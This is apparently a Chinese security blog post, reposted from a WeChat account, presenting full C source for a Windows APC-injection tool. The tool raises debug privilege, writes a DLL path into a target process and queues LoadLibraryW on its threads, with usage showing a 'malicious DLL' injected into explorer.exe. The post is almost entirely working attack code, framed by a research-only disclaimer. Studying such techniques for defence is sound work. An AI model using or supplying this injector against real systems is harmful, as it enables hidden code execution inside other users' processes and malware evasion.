功能实现
BOOL CurrentProcessAdjustToken(void);
void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError);
int wmain(int argc, wchar_t *argv[])
{
if (argc < 3) {
_putts(TEXT("usage: APCInjection [: pid] [: dll path]nexample: RemoteInjection.exe 512 C:\1.dlln"));
return 0;
} {
if (!CurrentProcessAdjustToken()) {
_putts(TEXT("Invalid AdjustToken"));
}
DWORD pid = 0;
pid = _wtoi(argv[1]);
if (pid <= 0) {
_putts(TEXT("Invalid pid"));
return 0;
}
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);
const wchar_t* dllPath = argv[2];
_putts(dllPath);
LPVOID mem = NULL;
mem = VirtualAllocEx(process, NULL, wcslen(dllPath) * sizeof(WCHAR), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mem) {
_putts(TEXT("VirtualAllocEx error"));
return 0;
}
if (!WriteProcessMemory(process, mem, dllPath, wcslen(dllPath) * sizeof(WCHAR), NULL)) {
DisplayErrorMessage((LPTSTR)"WriteProcessMemory error: ", GetLastError());
return 0;
}
FARPROC pFuncAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
HANDLE hSnap = NULL;
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (NULL == hSnap) {
DisplayErrorMessage((LPTSTR)"Create Snapshot error: ", GetLastError());
return 0;
}
THREADENTRY32 te = { 0 };
te.dwSize = sizeof(THREADENTRY32);
Thread32First(hSnap, &te);
do {
if (te.th32OwnerProcessID == pid) {
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
QueueUserAPC((PAPCFUNC)pFuncAddr, hThread, (ULONG_PTR)mem);
ResumeThread(hThread);
CloseHandle(hThread);
}
} while (Thread32Next(hSnap, &te));
CloseHandle(hSnap);
CloseHandle(process);
return 1;
}
}
BOOL CurrentProcessAdjustToken(void) {
HANDLE hToken;
TOKEN_PRIVILEGES sTP;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid)) {
CloseHandle(hToken);
return FALSE;
}
sTP.PrivilegeCount = 1;
sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL)) {
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
return FALSE;
}
void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError) {
HLOCAL hlErrorMessage = NULL;
if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR)&hlErrorMessage, 0, NULL))
{
_tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR)LocalLock(hlErrorMessage));
LocalFree(hlErrorMessage);
}
}
功能展示
使用方式:
以管理员权限执行注入程序,尝试将恶意DLL(在dll被加载时会弹出窗口)注入到explorar.exe程序中并执行:
APCInjection.exe 1592 C:usersadministratorDesktopdll1.dll
成功弹出窗口。
原文始发于微信公众号(蟹堡安全团队):APC注入DLL功能实现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论